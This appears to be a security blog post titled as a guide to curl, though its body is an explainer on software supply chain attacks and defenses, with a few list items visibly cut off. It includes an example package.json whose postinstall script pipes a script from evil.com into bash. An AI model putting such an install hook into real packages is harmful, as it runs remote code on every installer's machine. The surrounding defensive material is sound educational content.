curl in Cybersecurity: Practical Use Cases for Offensive and Defensive Operations
Learn how the curl command is used in cybersecurity for API testing, threat hunting, incident response, malware analysis, and secure data transfer.
Jan 23, 2026Tools
On a quiet Tuesday morning, an unsuspecting software engineer pushed a new release to production. The code was clean. The tests had passed. But within minutes, users began reporting strange behavior—sluggish systems, unauthorized access attempts, and in some cases, total compromise.
The engineer hadn't written a single line of malicious code. Instead, the breach had come from somewhere far upstream: an innocuous package dependency, updated the night before. A trusted link in the software supply chain had turned rogue. This was not a direct assault. It was a supply chain attack, and it had already gone global.
A supply chain attack targets the processes, tools, and dependencies developers rely on to build and deliver software. It bypasses traditional firewalls and endpoint protections by compromising trusted third parties. Attackers know that it's far easier to infect a single widely-used dependency than to breach hundreds of individual targets.
Unlike direct intrusions that smash through digital doors, supply chain attacks slip in unnoticed—riding the backs of code repositories, CI/CD pipelines, build tools, and open-source libraries.
The attacker becomes a ghost in the machine.
In late 2020, the world watched in awe as SolarWinds, a Texas-based IT management company, revealed that its update server had been compromised. A routine Orion software update carried malicious code planted by attackers—signed, tested, and distributed through legitimate channels.
The fallout was immense. Over 18,000 organizations—including Fortune 500 companies and U.S. government agencies—unknowingly installed backdoors. It wasn't a brute-force hack. It was a betrayal of trust, woven into the very fabric of the development cycle.
A modern development environment is a patchwork of moving parts. Here's how attackers typically worm their way in:
requests, lodashs, urllib3x).event-stream in npm used this exact method to ship a trojan targeting cryptocurrency wallets.Here's an example of a poisoned package.json that executes a shell command during install:
{
"name": "harmless-package",
"version": "1.0.0",
"scripts": {
"postinstall": "curl http://evil.com/backdoor.sh | bash"
}
}This package might look normal—until it's too late.
The hallmark of a successful supply chain attack is subtlety. Attackers often wait weeks or months before activating their payloads. This "dwell time" allows them to pass through code reviews, build processes, and QA environments.
A malicious update might only phone home once, or exfiltrate tiny amounts of data to stay below detection thresholds.
Advanced actors may even tailor payloads dynamically. For instance, only executing code if the victim belongs to a certain company, or if it detects a specific network topology.
Supply chain attacks don't just threaten IT systems—they endanger national security, financial stability, and public trust. When the very tools we use to build secure systems become the avenue of attack, confidence collapses.
Notable incidents include:
There's no silver bullet, but the best defense is a layered one:
npm audit, yarn audit, pip-audit, or OWASP Dependency-Check.Here's an example of verifying a signed commit:
git log --show-signature
# Output:
# gpg: Signature made ...
# gpg: Good signature from "Trusted Developer <dev@example.com>"The digital world is interconnected. A tiny package uploaded to an obscure registry can find its way into banking apps, voting systems, or defense platforms. And just like in the real world, the weakest link in the chain determines the strength of the entire system.
We must rethink trust. Every dependency must be verified. Every update scrutinized. Every pipeline hardened.
Because in the age of software-defined everything, the supply chain is the new battlefield.
If you're not watching your dependencies, someone else might be. And they might not have your best intentions in mind.
To defend against supply chain attacks, organizations must adopt a layered security approach that emphasizes visibility, verification, and vigilance. This includes maintaining a Software Bill of Materials (SBOM) to track all dependencies, enforcing strict version pinning to prevent unauthorized updates, and validating package integrity through cryptographic signatures like Sigstore or GPG. Implementing continuous monitoring for unusual behavior in CI/CD pipelines, scanning third-party packages with tools like gitleaks, npm audit, or pip-audit, and restricting access to build systems are also critical. Above all, fostering a security-first culture across the development lifecycle is essential to minimize trust-based vulnerabilities.
Love it? Share this article: